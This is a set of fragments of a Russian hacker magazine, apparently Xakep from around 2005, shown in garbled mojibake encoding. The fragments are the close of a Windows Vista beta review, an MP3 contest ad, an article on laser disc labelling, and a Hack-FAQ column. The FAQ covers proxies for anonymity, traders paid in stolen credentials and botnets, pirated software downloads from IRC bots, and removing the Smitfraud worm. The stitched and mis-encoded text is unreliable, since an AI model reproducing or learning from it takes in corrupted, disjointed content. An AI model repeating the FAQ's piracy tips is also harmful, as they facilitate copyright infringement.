êèì õàêåðîì (â îïðåäåëåííûõ êðóãàõ èçâåñòíûì, êàê Second Part to Hell),
÷ëåíîì ìíîãèõ õàêåðñêèõ ãðóïï, áûëè «âûáðîøåíû» â ãëîáàëüíóþ ïàóòè-
íó ïÿòü âèðóñîâ. Ýòè ïðîãðàììû ïðåäíàçíà÷åíû äëÿ âçëîìà MSH
(Microsoft Shell) � èíòåðôåéñà êîìàíäíîé ñòðîêè íîâåéøåé ÎÑ.
Õîòÿ ïî çàâåðåíèÿì ãëàâû àíòèâèðóñíîãî ïîäðàçäåëåíèÿ F-Secure �
Ìèêêî Õþïïîíåíà � äàííûå âèðóñû íå íåñóò îñîáîé îïàñíîñòè è âûçû-
âàþò èíòåðåñ ñêîðåå «èñòîðè÷åñêîãî» õàðàêòåðà, íåæåëè òåõíè÷åñêîãî,
òàê êàê ïðåäñòàâëÿþò ñîáîé î÷åíü ïðèìèòèâíûå ïðîãðàììêè. Îäíàêî
î÷åâèäíî, ÷òî íà ýòîì õàêåðû íå îñòàíîâÿòñÿ, è èõ ñëåäóþùèå òâîðåíèÿ
íàâåðíÿêà áóäóò íå ñòîëü áåçîáèäíû.
«Ñêðèïòîâûé ÿçûê MSH � ïî-íàñòîÿùåìó ìíîãîñòîðîííèé, � ãîâîðèò
ãîñïîäèí Õþïïîíåí. � Ñ åãî ïîìîùüþ Âû ìîæåòå óïðàâëÿòü ëþáûìè
êîìïîíåíòàìè... Âû ìîæåòå îòïðàâëÿòü ýëåêòðîííûå ïèñüìà ïðÿìî èç
êîìàíäíîé ñòðîêè, ìîæåòå ïîäêëþ÷àòüñÿ ê Web-ñåðâèñàì... Ôóíêöèî-
íàëüíî MSH î÷åíü ñõîæ ñ Unix». Íó íàêîíåö-òî!!!
Òåì íå ìåíåå, ñóäüáà ñàìîãî MSH ïîêà åùå íå ïîëíîñòüþ ïîíÿòíà � ñîâ-
ñåì íåäàâíî èíòåðíåò-ðåñóðñ WinInsider ñîîáùèë ñî ññûëêîé íà îôèöè-
àëüíûõ ïðåäñòàâèòåëåé Microsoft, ÷òî ôàêò åãî âêëþ÷åíèÿ â ñîñòàâ ôè-
íàëüíîé Windows Vista åùå íàõîäèòñÿ ïîä âîïðîñîì. Ïðè ýòîì ñîôòâåð-
íûé ãèãàíò ïîêà îòêàçûâàåòñÿ îò êîììåíòàðèåâ îòíîñèòåëüíî ïðè÷èí, çàñ-
òàâèâøèõ åãî ñîìíåâàòüñÿ ïî ïîâîäó öåëåñîîáðàçíîñòè ïîääåðæêè ýòîãî
ñêðèïòîâîãî ÿçûêà. Âåðîÿòíåå âñåãî, åùå íå âñå ÿñíî ñ òåì, êàêèå ñåðâè-
ñû áóäóò âñòðîåíû â Vista. Îäíè èç íèõ ïîòðåáóþò MSH, äðóãèå � íåò.
Ìíîãèå ñïåöèàëèñòû ñîøëèñü íà òîì, ÷òî MSH � ïðåðîãàòèâà «ïðîäâè-
íóòûõ» ñèñòåì, è áîëüøèíñòâî ðÿäîâûõ ïîëüçîâàòåëåé òàê è íå ïðèêîñ-
íóòñÿ ê «âåëèêèì çíàíèÿì» (â êîòîðûõ, êàê èçâåñòíî, «âåëèêàÿ ïå÷àëü»).
Ãîñïîäèí Õþïïîíåí ïðîêîììåíòèðîâàë ýòî òàê: «Êàê îïûòíûé ïîëüçî-
âàòåëü, ÿ õîòåë áû èìåòü íà ñâîåì êîìïüþòåðå MSH, íî íå íà êîìïüþ-
òåðå ìîåé ìàìû!».
Äàæå åñëè Windows Vista âñå-òàêè îêàæåòñÿ áåç MSH, òî ýòîò ñêðèïòî-
âûé ÿçûê íàâåðíÿêà âîéäåò â ñîñòàâ òàêèõ ñåðâåðíûõ ïðîäóêòîâ, êàê
Exchange Server 12.
Èòàê, âûâîä îá ïðåäñòàâëåííîé îïåðàöèîííîé ñèñòåìå ìîæíî ñäåëàòü
íåîäíîçíà÷íûé. Ñ îäíîé ñòîðîíû, îíà ïîðàæàåò ñâîèì ðàçìàõîì, ñ äðó-
ãîé, � óäðó÷àåò íåäîðàáîòêàìè, õîòÿ ðàáîòàåò äîñòàòî÷íî ñòàáèëüíî 
è áûñòðî. Çà òðè äíÿ ðàáîòû ñ íåé îíà íå ñëåòåëà íè ðàçó. 
Ïîñòàâëþ ëè ÿ åå ñåáå ïî âûõîäó ïîëíîöåííîãî ðåëèçà? Êîíå÷íî æå, äà.
Õëåáíåì ëè ìû ëèõà ñ Âèñòîé? Êîíå÷íî æå, äà! Áóäåì ëè ìû åå íåíàâè-
äåòü? Êîíå÷íî æå, äà! Íî âåäü ýòî òðàäèöèÿ óæå, íå òàê ëè?
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ïàíåëü óïðàâëåíèÿ

ïîïðîáóé ÷òî-íèáóäü íàéòè. Â Âèñòå ýòî ñëîæíî :) ïðîñìîòðùèê ñîáûòèé
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**MMPP33 MASSIVE ATTACK

Êîíêóðñ MP3 MASSIVE ATTACK ïðîäîëæàåòñÿ!

Ó ÒÅÁß ÅÙÅ ÅÑÒÜ ØÀÍÑ ÂÛÈÃÐÀÒÜ MP3-ÏËÅÅÐ YP-T8. ÄË ÝÒÎÃÎ ÒÅÁÅ ÍÅÎÁÕÎÄÈÌÎ ÏÐÈÍßÒÜ Ó×ÀÑÒÈÅ 

Â MP3-ÊÎÍÊÓÐÑÅ ÎÒ SAMSUNG È ÆÓÐÍÀËÀ ÕÀÊÅÐ. ÎÒÂÅÒÜ ÍÀ 5 ÂÎÏÐÎÑÎÂ, ÊÀÑÀÞÙÈÕÑß MP3-

ÔÎÐÌÀÒÀ. ÇÀ ÊÀÆÄÛÉ ÏÐÀÂÈËÜÍÛÉ ÎÒÂÅÒ ÒÛ ÏÎËÓ÷ÈØÜ ×ÀÑÒÜ ÊÎÄÎÂÛÉ ÔÐÀÇÛ. ÑÎÁÅÐÈ ÂÑÞ

ÊÎÄÎÂÓÞ ÔÐÀÇÓ ÖÅËÈÊÎÌ, ÒÎÃÄÀ ÒÛ ÏÎËÓ÷ÈØÜ ÁÅÑÏËÀÒÍÛÅ ÌÅÃÀÁÀÉÒÛ MP3-ÌÓÇÛÊÈ ÄËß

ÑÊÀ×ÈÂÀÍÈß, À ÒÀÊÆÅ ÏÐÈÌÅØÜ Ó×ÀÑÒÈÅ Â ÐÎÇÛÃÐÛØÅ 10 MP3-ÏËÅÅÐÎÂ YP-T8.
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MP3.SAMSUNG.RU È ÒÛ ÏÎËÓ×ÈØÜ 100 MB ÁÅÑÏËÀÒÍÎÉ ÌÓÇÛÊÈ!      
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[î ÷åì ýòî ÿ?] Â ýòîé ñòàòüå ðå÷ü ïîéäåò
èìåííî î òåõíîëîãèÿõ ìàðêèðîâêè äèñêîâ ïðè
ïîìîùè ëàçåðà. Âåäü, ñîãëàñèòåñü, ÷òî ìàðêå-
ðîì íåëüçÿ íàðèñîâàòü êàêîé-íèáóäü êðàñèâûé
ðèñóíîê, à ëàçåðîì ìîæíî ñäåëàòü ðèñóíîê ñ
î÷åíü âûñîêèì ðàçðåøåíèåì. Íàêëåéêè äëÿ
äèñêîâ âîîáùå îïàñíû, âåäü åñëè íàêëåèòü èõ
êðèâî è ñìÿòî, òî äèñê ìîæåò ðàçðóøèòüñÿ â ñà-
ìîì ïðèâîäå èç-çà íåðîâíîñòåé íà åãî ïîâåðõ-
íîñòè. À ïðèíòåðîâ ñ ïîääåðæêîé ïå÷àòè íà
äèñêàõ íå òàê óæ è ìíîãî, íî èìåþòñÿ â ìîäåëü-
íûõ ðÿäàõ òàêèõ ôèðì, êàê Epson è Canon.
Ëàçåðíûå òåõíîëîãèè íàíåñåíèÿ èçîáðàæåíèÿ
íà äèñê õîðîøè òåì, ÷òî íå òðåáóþò äîïîëíè-
òåëüíûõ çàòðàò � òåáå äîñòàòî÷íî èìåòü ïðè-
âîä ñ ïîääåðæêîé äàííîé òåõíîëîãèè è íå íóæ-
íî ïîêóïàòü íè ìàðêåðîâ, íè íàêëååê, íè êàðò-
ðèäæåé ñ êðàñêîé.

[diskT@2] Òåõíîëîãèÿ DiskT@2 ñóùåñòâóåò
àæ ñ 2002 ãîäà. Åå òîãäà ïðåäñòàâèëà êîìïà-
íèÿ Yamaha, âûïóñòèâ åäèíñòâåííûé â ìèðå
ïðèâîä ñ ïîääåðæêîé ýòîé òåõíîëîãèè �
CRW-F1. Òàòóèðîâêà íàíîñèëàñü íà ðàáî÷óþ
ïîâåðõíîñòü äèñêà. Ïîñëå òîãî êàê áûëè çàïè-
ñàíû äàííûå íà äèñê, îí ôèíàëèçèðîâàëñÿ, è
íà îñòàâøåìñÿ ìåñòå ôîðìèðîâàëñÿ ðèñóíîê
èëè òåêñò. Ñàìà òàòóèðîâêà ðàçðàáàòûâàëàñü

â ïðîãðàììå çàïèñè äèñêîâ Nero
Burning Rom. Âûæèãàòüñÿ òàòó
ìîãëà òîëüêî íà äèñêàõ CD-R ñ
òåìíîé ïîâåðõíîñòüþ. Yamaha
îáúÿâèëà îôèöèàëüíî ñîâìåñòè-
ìûìè äèñêè òîëüêî Verbatim ñå-
ðèè DataLifePlus ñî ñëîåì Super
AZO, à òàêæå ñåðèè MusicLifePlus ñî ñëîåì Metal AZO è äèñêè TDK
Reflex Ultra è Reflex Ultra Metallic Disc. Ñòîèò ñêàçàòü, ÷òî íà ïðîæèã
òåêñòà âîêðóã äèñêà 24 øðèôòîì òðàòèëîñü îêîëî 10�15 ìèíóò, ÷òî íå
òàê óæ è áûñòðî. Ïðèâîä áûë âûïóùåí â íåñêîëüêèõ âàðèàíòàõ èñïîë-
íåíèÿ: E-IDE, SCSI-3, USB 2.0 è FireWire. Íàéòè íà ïðèëàâêàõ ìàãàçè-
íîâ ó íàñ â Ðîñèè CRW-F1 áûëî ñëîæíî. Íî âàø ïîêîðíûé ñëóãà âñå-
òàêè óñïåë åãî ïðèîáðåñòè, î ÷åì íå æàëååò äî ñèõ ïîð :). Âñêîðå êîì-
ïàíèÿ Yamaha îáúÿâèëà, ÷òî ïîëíîñòüþ ïåðåêëþ÷àåòñÿ íà òåõíîëîãèþ
DVD. È î íåé íå áûëî íè÷åãî ñëûøíî äî âòîðîé ïîëîâèíû 2005 ãîäà.
Íî îá ýòîì ÿ óïîìÿíó ÷óòü ïîçæå.

[LightScribe] Â íà÷àëå 2005 ãîäà â Èíòåðíåòå ñòàëè õîäèòü ñëóõè, ÷òî
êîìïàíèÿ HP õî÷åò ïðåäñòàâèòü íîâóþ òåõíîëîãèþ ïîä íàçâàíèåì
LightScribe (ïîëíîå íàçâàíèå LightScribe Direct Disc Labeling), ÷òî äîñëîâ-
íî ìîæíî ïåðåâåñòè êàê «ñâåòîïèñü». Ñóòü åå çàêëþ÷àåòñÿ â âîçìîæ-
íîñòè íàíîñèòü èçîáðàæåíèå íà íåðàáî÷óþ ïîâåðõíîñòü äèñêîâ (CD èëè
DVD). Äëÿ ýòîãî íà êîìïüþòåðå ñîçäàåì ìàðêèðîâêó è ïðîæèãàåì � ïî-
ëó÷àåòñÿ àêêóðàòíî è êðàñèâî :). Òîëüêî ïîñëå çàïèñè äàííûõ íóæíî áó-
äåò ïåðåâåðíóòü äèñê. Ñòîèò çàìåòèòü, ÷òî òåõíîëîãèÿ íà äàííûé ìî-
ìåíò ïîääåðæèâàåò äî 256 îòòåíêîâ ñåðîãî, è ïîêà ðå÷ü íå èäåò î ñîç-
äàíèè ïîëíîöâåòíîãî èçîáðàæåíèÿ.
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òåõíîëîãèÿ îò amaha è NEC:
LabelFlash

çíàìåíèòûé ïðèâîä Yamaha CRW-F1

ÎÄÍÈ ÌÀÐÊÈÐÓÞÒ ÑÂÎÈ ÄÈÑÊÈ ÑÏÅÖÈ-
ÀËÜÍÛÌÈ ÔËÎÌÀÑÒÅÐÀÌÈ, ÄÐÓÃÈÅ ÏÅ×À-
ÒÀÞÒ ÝÒÈÊÅÒÊÈ ÍÀ ÏÐÈÍÒÅÐÅ, À ÇÀÒÅÌ
ÏÐÈÊËÅÈÂÀÞÒ ÈÕ ÍÀ ÄÈÑÊ, ÒÐÅÒÜÈ ÏÅ×À-
ÒÀÞÒ ÏÐßÌÎ ÍÀ ÑÀÌÈÕ ÄÈÑÊÀÕ. À ÂÎÒ
×ÅÒÂÅÐÒÛÅ ÈÑÏÎËÜÇÓÞÒ ÄËß ÝÒÎÃÎ ÑÀ-
ÌÈ ÐÅÇÀÊÈ� | Mel (mel@aslov.net)

Òåõíîëîãèè íàíåñåíèÿ
èçîáðàæåíèÿ íà äèñê

www.lightscribe.com �
îôèöèàëüíûé ñàéò íîâîé
òåõíîëîãèè.
http://h10025.www1.hp.com
/ewfrf/wc/softwareList?dlc=e
n&tool=softwareCategory&lc
=en&product=455746&cc=u
s&os=228 � Lightscribe
Print Engine Update.
www.ixbt.com/optical/cdrw-
test-ide/cdrw-test-ide-p15-
yamaha-f1.shtml � òåñò
ïðèâîäà Yamaha CRW-F1 
ñ òåõíîëîãèåé DiskT@2.
www.ixbt.com/optical/hp640
.shtml � òåñò ïðèâîäà HP
dvd640i ñ òåõíîëîãèåé
LightScribe.



ïðîãðàììà ñïðîñèò òåáÿ î æåëàåìîì êà÷åñòâå èçîáðàæåíèÿ, è òû ñìî-
æåøü âûáðàòü îäèí èç ðåæèìîâ:
� Best 4 ìèí. � 36 ìèí. 
� Normal 3 ìèí. � 28 ìèí. 
� Draft 2 ìèí. � 20 ìèí. 
×åì ëó÷øå êà÷åñòâî òû âûáåðåøü, òåì êîíòðàñòíåå áóäåò êàðòèíêà.
Â áëèæàéøåå âðåìÿ êîìïàíèÿ HP ïëàíèðóåò íàðàùèâàòü ñêîðîñòü ïðî-
æèãà ýòèêåòîê, òàê êàê æäàòü 40 ìèíóò, ÷òîáû ïîëó÷èòü êà÷åñòâåííîå
èçîáðàæåíèå � ýòî î÷åíü äîëãî. 

[LabelFlash] È ñíîâà êîìïàíèÿ Yamaha. Òåïåðü óæå ñîâìåñòíî ñ Nec
îíè ðàçðàáîòàëè óëó÷øåííóþ âåðñèþ DiskT@2, êîòîðàÿ ñî÷åòàåò â ñåáå
ñðàçó íåñêîëüêî ïðåèìóùåñòâ: ïå÷àòü êàê íà ðàáî÷åé ïîâåðõíîñòè (òåõ-
íîëîãèÿ DiskT@2), òàê è íà âíåøíåé ñòîðîíå (àëüòåðíàòèâà LightScribe).
Íî è ýòî åùå íå âñå. Â ïðîòèâîâåñ LightScribe � íîâàÿ òåõíîëîãèÿ
LabelFlash ïîçâîëÿåò ñîçäàâàòü âûñîêîêà÷åñòâåííûå ðèñóíêè áëàãîäà-
ðÿ 256 âîçìîæíûì âàðèàíòàì îòòåíêîâ. È ñêîðîñòü ñîçäàíèÿ òàêîé ýòè-
êåòêè � âñåãî 5(!) ìèíóò! Ýòî êàæåòñÿ íåðåàëüíûì! Íî óæå â îêòÿáðå
äîëæíû ïîÿâèòüñÿ â ïðîäàæå ïðèâîäû ñ ïîääåðæêîé ýòîé òåõíîëîãèè.
Ïåðâûìè DVD-RW ïðèâîäàìè ñ ïîääåðæêîé LabelFlash áóäóò Nec ND-
4551A, ND-3551A, à òàêæå ND-7751A, ïðåäíàçíà÷åííûé äëÿ óñòàíîâêè
íà íîóòáóêè. Äëÿ íàíåñåíèÿ èçîáðàæåíèÿ íà íåðàáî÷óþ ïîâåðõíîñòü
äèñêà áóäåò äîñòàòî÷íî äèñêà, êîòîðûé èìååò ïîâåðõíîñòü äëÿ íàíåñå-
íèÿ ïîäïèñåé (printable-äèñêè).
Êàê âèäíî, íà÷àëî áûëî ïîëîæåíî åùå â 2002 ãîäó, íî òîãäà íèêòî íå
ñìîã ñîñòàâèòü êîíêóðåíöèþ êîìïàíèè Yamaha. Ñåé÷àñ æå êîìïàíèÿ
HP âîïëîòèëà î÷åíü õîðîøóþ èäåþ â æèçíü. Êîìïàíèÿ Yamaha íå îñ-
òàëàñü â ñòîðîíå è ïðåäëîæèëà ïðîäîëæåíèå òåõíîëîãèè DiskT@2.
Òåïåðü â óñëîâèÿõ êîíêóðåíöèè òàêèå òåõíîëîãèè, êàê LightScribe è

LabelFlash áóäóò ñòðåìèòåëüíî ðàçâèâàòüñÿ.
Âïîëíå âîçìîæíî, ÷òî ñêîðî ïîÿâÿòñÿ è ïî-
äîáíûå òåõíîëîãèè îò äðóãèõ ôèðì ñ êàêèìè-
òî ñâîèìè îòëè÷èòåëüíûìè ÷åðòàìè. Íó à
íàì, ïîëüçîâàòåëÿì, îñòàåòñÿ ñëåäèòü çà ïîñ-
ëåäíèìè òåíäåíöèÿìè â ýòîé îáëàñòè è âûáè-
ðàòü ñåáå ïðèâîä ñ ëó÷øåé òåõíîëîãèåé. Òåì
áîëåå, ÷òî ïðèâîäû ñ ïîääåðæêîé íîâûõ òåõ-
íîëîãèé, ñòîÿò ïðèìåðíî íà 10�15% äîðîæå
ñâîèõ àíàëîãîâ áåç òåõíîëîãèè íàíåñåíèÿ
èçîáðàæåíèÿ íà äèñê 

Äëÿ òîãî ÷òîáû âîñïîëüçîâàòüñÿ íîâîé òåõíî-
ëîãèåé, íåîáõîäèìî èìåòü:
� DVD-ïðèâîä c òåõíîëîãèåé LightScribe
� LightScribe-äèñê
� Ñîôò, ïîääåðæèâàþùèé LightScribe.
Íà äàííûé ìîìåíò âûïóùåíî íå òàê ìíîãî
DVD-ðåçàêîâ ñ ïîääåðæêîé íîâîé òåõíîëî-
ãèè, à òå, ÷òî âûïóùåíû, ïî ñêîðîñòÿì çàïè-
ñè äèñêîâ îòñòàþò íà ìíîãî îò ñâîèõ ñîá-
ðàòüåâ áåç ýòîé òåõíîëîãèè. Ïðèìåðîì ìî-
æåò ñëóæèòü ïðèâîä HP dvd640i. Ñðåäè ïðî-
èçâîäèòåëåé ñòîèò îòìåòèòü òàêèå ôèðìû,

êàê BenQ, LaCie, Philips è, åñòåñòâåííî, HP.
×òî êàñàåòñÿ ïðîèçâîäèòåëåé áîëâàíîê, òî èõ âûáîð òîæå íåâåëèê, òàê
êàê HP òðåáóåò îáÿçàòåëüíîãî òåñòèðîâàíèÿ è ïîñëåäóþùåãî ëèöåíçè-
ðîâàíèÿ. Òåì ñàìûì HP õî÷åò äîáèòüñÿ ïîëíîé ñîâìåñòèìîñòè äèñêîâ è
ïðèâîäîâ ñ ëîãîòèïîì LightScribe. Ãëàâíûì ïðîèçâîäèòåëåì äèñêîâ íà
äàííûé ìîìåíò ÿâëÿåòñÿ, êîíå÷íî æå, Verbatim. Óæå ñåé÷àñ ïðîäàþòñÿ
äèñêè CD-R è DVD+R ñ ïîääåðæêîé íîâîé òåõíîëîãèè.
Ðàçðàáîòàòü ýòèêåòêó ìîæíî â î÷åíü ïîïóëÿðíîé ïðîãðàììå äëÿ çàïèñè
äèñêîâ NERO Burning ROM, èëè â ñïåöèàëèçèðîâàííîé ïðîãðàììå, ïîñ-
òàâëÿåìîé ñî ìíîãèìè ïðèâîäàìè â retail-âåðñèè, SureThing CD/DVD
Labeler. Î ïîääåðæêå íîâîé ôóíêöèè â ñâîèõ ïðîãðàììíûõ ïðîäóêòàõ
çàÿâèëè òàêæå òàêèå êîìïàíèè, êàê Cyberlink, InterVideo è Sonic.

[òåõíîëîãèÿ èçíóòðè] Åñëè òû óæå ÿâëÿåøüñÿ îáëàäàòåëåì DVD-
ðåêîðäåðà, òî ñòîèò ñêàçàòü, ÷òî îáíîâëåíèåì ïðîøèâêè òû íå ñìî-
æåøü äîáèòüñÿ ïîääåðæêè íîâîé òåõíîëîãèè. LightScribe-ñîâìåñòèìûå
ïðèâîäû, èìåþò íåìíîãî èíîå âíóòðåííåå ñòðîåíèå. Â íèõ âñòðîåíà

ñïåöèàëüíàÿ ñõåìà, êîòîðàÿ èìå-
åò äàò÷èê äëÿ ðàñïîçíàâàíèÿ
LightScribe-íîñèòåëÿ. Åùå ñõåìà
îòâå÷àåò çà òî÷íóþ ôîêóñèðîâêó
íà íóæíóþ äîðîæêó è öåíòðîâêó
äèñêà. Âñåãî äîðîæåê � 40000, è
ðàñïîëîæåíû îíè íà ðàññòîÿíèè
10 ìèêðîìåòðîâ äðóã îò äðóãà.
Òåïåðü ñòîèò ðàññêàçàòü î âðåìå-
íè, êîòîðîå çàíèìàåò ïðîæèã êàð-
òèíêè. Ïåðåä íà÷àëîì ïðîæèãàâûáèðàåì êà÷åñòâî ïå÷àòè è ñòàðòóåì

äèñê CD-R 
îò Verbatim ñ ïîääåðæ-
êîé íîâîé òåõíîëîãèè

ïî ýòèì ëîãîòèïàì
ìîæíî óçíàòü î ïîä-
äåðæêå LightScribe [X
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QQ:: ÕÕîî÷÷óó ááûûòòüü ààííîîííèèììííûûìì ââ ÑÑååòòèè!! ÊÊààêê ììîîææííîî îîááççààââååññòòèèññüü
ññààììûûììèè ïïîîññëëååääííèèììèè èè,, ããëëààââííîîåå,, �� ððààááîî÷÷èèììèè ïïððîîêêññààììèè??
A: Ñàìûå ïîñëåäíèå � çíà÷èò, ñàìûå ìåäëåííûå? Òàêèõ íå
äåðæèì è ðå÷è î íèõ âåñòè íå áóäåì! Ñàìûå æå êà÷åñòâåííûå
ïðîêñû,  óñòàíîâëåííûå ñîáñòâåííîðó÷íî íà ïðîâåðåííûõ ñåð-
âåðàõ, æåëàòåëüíî ñ ïîääåðæêîé øèôðîâàíèÿ. Ãîòîâûõ îáðàç-
öîâ ñîôòà � ìîðå, íóæåí ëèøü ñåðâåð, êîòîðûé äîâåðèò òåáå
óñòàíîâêó ïðîêñà â ñâîå ÷ðåâî; ñåðâåð, êîòîðîìó òû áóäåøü äî-
âåðÿòü ïåðåäà÷ó ñâîèõ ñîêðîâåííûõ äàííûõ. Õîòÿ, êîíå÷íî, ïî-
ðîé ïðîêñè-ñåðâàíòû èñïîëüçóþòñÿ êàê ïðåçåðâàòèâû � îäèí
ðàç, êîãäà íóæíî ñäåëàòü ñâîå òåìíîå äåëî è ñêðûòüñÿ â ïðîñ-
òîðàõ Ñåòè. Ïðè ïîäîáíûõ ðàñêëàäàõ ìîæíî äîãîâîðèòüñÿ ñ
òðåéäåðàìè, êîòîðûå îáåñïå÷àò òåáÿ âñåì íåîáõîäèìûì â íåîã-
ðàíè÷åííîì îáúåìå. Íåáåçâîçìåçäíî, êîíå÷íî: òðåéäåðû ïðè-
âûêëè ïîëó÷àòü êðåäû, øåëëû, áîòíåòû è ïàëêè çà ñâîè óñëóãè.
Åñòü æå è ñåðäîáîëüíûå ëþäè, êîòîðûå âûëèâàþò â Ñåòü ñïèñ-
êè äëÿ âñåîáùåãî äîñòóïà. Ðåñóðñ, âðîäå www.proxys4all.com,
ìîæåò ñòàòü õîðîøèì ïðèìåðîì; ïðî íàèáîëåå àêòóàëüíûå õðà-
íèëèùà âñå çíàåò Ãóãë. Åäèíñòâåííîå çàìå÷àíèå � íå ñòîèò
ñòðîèòü èëëþçèè îá àëüòðóèçìå õîçÿåâ îáùåäîñòóïíûõ ñåðâà-
êîâ. Ìíîãèå èç íèõ ïðîñòî óâåäóò âñå òâîè plaintext-ïàðîëè.

QQ:: ÏÏîî÷÷ååììóó óó ììååííÿÿ ííèèêêààêê ííåå ïïîîëëóó÷÷ààååòòññÿÿ êêàà÷÷ààòòüü ââààððååçç ííàà IIRRCC
ññ ääèèààëëààïïàà??
A: Îñíîâíûì êîíöåïòîì íàøóìåâøåé, íî íûíå çàêðûòîé ìè-
ëèöèåé ðóáðèêè Leech áûëî êàê ðàç ñêà÷èâàíèå êîíòåíòà íà
IRC. Ñàéòû, âðîäå www.packetnews.com, ïðåäëàãàþò ìàññó
âîçìîæíîñòåé äîáûòü ñàìûå ñâåæèå ðåëèçû, ïðè÷åì ñäåëàòü
ýòî äåéñòâèòåëüíî â ðåàëüíîì âðåìåíè � ñêà÷àòü âñå íåîá-
õîäèìîå ðàçîì, íå äîæèäàÿñü ïîÿâëåíèÿ þçåðà â Ñåòè, êàê
ïîëó÷àåòñÿ ñ p2p. Õîòÿ ìíîãèå irc-ñåðâèñû íåäîñòóïíû äëÿ
ìîäåìùèêîâ. Ðÿä áîòîâ íå äàåò ñêà÷èâàòü âàðåç, åñëè òû íå
ìîæåøü òÿíóòü ôàéëû áûñòðåå 5 Êá/ñåê. Ñòîèò ïîùåëêàòü
íóæíûé ïàê íà ðàçíûõ áîòàõ, è îäèí èç íèõ îáÿçàòåëüíî âû-
äàñò íåîáõîäèìîå áåç îáîçíà÷åííîãî îãðàíè÷åíèÿ.

QQ:: ÍÍåå ììîîããóó ààêêòòèèââèèððîîââààòòüü ääîîññòòóóïï ââ èèííååòò ïïîî êêààððòòåå,, êêîîããääàà êêààêê
IIPP-òòååëëååôôîîííèèÿÿ ïïîî ííååéé ððààááîîòòààååòò ííàà 55++,, ááààëëààííññ òòààìì ïïððîîññòòîî ááååçç-
ääîîííííûûéé!! ÊÊààêê ììååííÿÿ ïïîîõõààêêààëëèè??
A: Ñóùåñòâóþò óíèâåðñàëüíûå êàðòû, ïî êîòîðûì ìîæíî
þçàòü èíåò è òåëåôîíèþ îäíîâðåìåííî. Õîòÿ áîëüøàÿ
÷àñòü òåõ, ãäå íåîáõîäèìà ðåãèñòðàöèÿ-àêòèâàöèÿ äëÿ äîñ-
òóïà â èíåò, ïîçâîëÿþò âûáðàòü ëèøü îäíî: èíåò, ëèáî çâîí-Þ
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ÁÓÄÜ ÊÎÍÊÐÅÒÍÛÌ È ÇÀÄÀÂÀÉ ÊÎÍÊÐÅÒ-
ÍÛÅ ÂÎÏÐÎÑÛ! ÑÒÀÐÀÉÑß ÎÔÎÐÌÈÒÜ
ÑÂÎÞ ÏÐÎÁËÅÌÓ ÌÀÊÑÈÌÀËÜÍÎ ÄÅÒÀËÜ-
ÍÎ ÏÅÐÅÄ ÏÎÑÛËÊÎÉ Â HACK-FAQ. ÒÎËÜ-
ÊÎ ÒÀÊ ß ÑÌÎÃÓ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÏÎ-
ÌÎ×Ü ÒÅÁÅ C ÎÒÂÅÒÎÌ, ÓÊÀÇÀÒÜ ÍÀ ÂÎÇ-
ÌÎÆÍÛÅ ÎØÈÁÊÈ. ÎÑÒÅÐÅÃÀÉÑß ÎÁÙÈÕ
ÂÎÏÐÎÑÎÂ,  ÂÐÎÄÅ «ÊÀÊ ÂÇËÎÌÀÒÜ ÈÍ-
ÒÅÐÍÅÒ?», ÒÛ ÒÎËÜÊÎ ÏÎÒÐÀÒÈØÜ ÏÎ×-
ÒÎÂÛÉ ÒÐÀÔÈÊ. ÒÐßÑÒÈ ÈÇ ÌÅÍß ÔÐÈØÊÈ
(ÈÍÅÒ, ØÅËËÛ, ÊÀÐÒÛ) � ÍÅ ÑÒÎÈÒ, ß ÑÀÌ
ÆÈÂÓ ÍÀ ÃÓÌÀÍÈÒÀÐÍÓÞ ÏÎÌÎÙÜ.

HACK_FAQ cOMMENTS:
SideX 
hack-faq@real.xakep.ru
}VZLOM

hack-
faq
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êè çà áóãîð. Òàê ÷òî ìîæåøü áûòü ñïîêîåí, òû íå ñòàë æåðòâîé õà-
êà, ïðîñòî êàðòà îêàçàëàñü íå óíèâåðñàëüíîé. Çà ïðèìåðîì òàêèõ
êàðò äàëåêî õîäèòü íå íàäî: ó ÌÒÓ-Èíòåë (òî÷êà.ðó), ê ïðèìåðó,
ñäåëàâ ëèøü îäèí IP-çâîíîê, òû óæå íå ñìîæåøü çàíåñòè îñòàâ-
øóþñÿ ñóììó ê ñåáå íà èíåò-ñ÷åò. 

QQ:: ××òòîî ääååëëààååòò ççààððààççàà SSmmiittffrraauudd??
A: Êîíå÷íî, ìàñøòàáû ýïèäåìèè áûëè çíà÷èòåëüíî ñêðîìíåå
MyDoom'îâñêîé èëè íîâîìîäíîé � Zotob'îâñêîé. ×àñòü íàçâàíèÿ
âèðÿ � ñëîâî fraud � îáîçíà÷àåò «ìîøåííè÷åñòâî». Òàê ÷òî ýòîò
÷åðâü ïûòàåòñÿ ïðîêðóòèòü ñàìûå ðàçíîîáðàçíûå ïàêîñòè ñ òâîèì
êîìïîì. Ïåðâî-íàïåðâî çàðàçà áëîêèðóåò íàñòðîéêè ýêðàíà, ÷òîáû
òû íå ñìîã ñíÿòü âïèñûâàåìóþ íà äåñêòîï ðåêëàìó. Ãåíåðèòñÿ ìîðå
ïîï-àïîâ, ìåíÿåòñÿ ñòàðòîâàÿ ñòðàíèöà IE è ðåàëèçóþòñÿ âñå ïðî÷èå
malware-ðàäîñòè. Â ëå÷åíèè ïîìîãàåò ìàëåíüêàÿ óòèëèòà HijackThis,
êîòîðóþ ëåãêî ìîæíî îòûñêàòü íà ïðîñòîðàõ âåáà. Áîëåå ïîäðîáíî
îá ýòîì è äðóãèõ ïàðàçèòàõ, òû ñìîæåøü ïðî÷åñòü â Security
Response (www.symantec.com/avcenter/vinfodb.html) Symantec'a.

QQ:: ××òòîî òòààêêîîåå BBNNCC??
A: Ëåò 5-6 íàçàä � ìåãàìîäíàÿ òåìà. Ýòî ñîêðàùåíèå îò bouncer,
ïðîêñè äëÿ èñïîëüçîâàíèÿ íà IRC. Òû ñòàâèøü ýòó ìàëåíüêóþ *nix-
ïðîãðàììêó (õîòÿ åñòü è win, íî îíè íå î÷åíü ïîïóëÿðíû) íà óäàëåí-
íûé ñåðâåð, ãäå îíà îòêðûâàåò îïðåäåëåííûé ïîðò, êóäà ïîòîì ïîä-
ðóáàåøüñÿ òû ñàì. Òàì òû âûáèðàåøü íóæíûé IRC-ñåðâåð, ñ êîòî-
ðûì ïðîêñèê áóäåò äåðæàòü êîíòàêò. Îñíîâíàÿ ôèøêà � àíîíèì-
íîñòü, â Ñåòè òû ïîÿâëÿåøüñÿ óæå ñ õîñòîì óäàëåííîãî ñåðâåðà. Îñî-
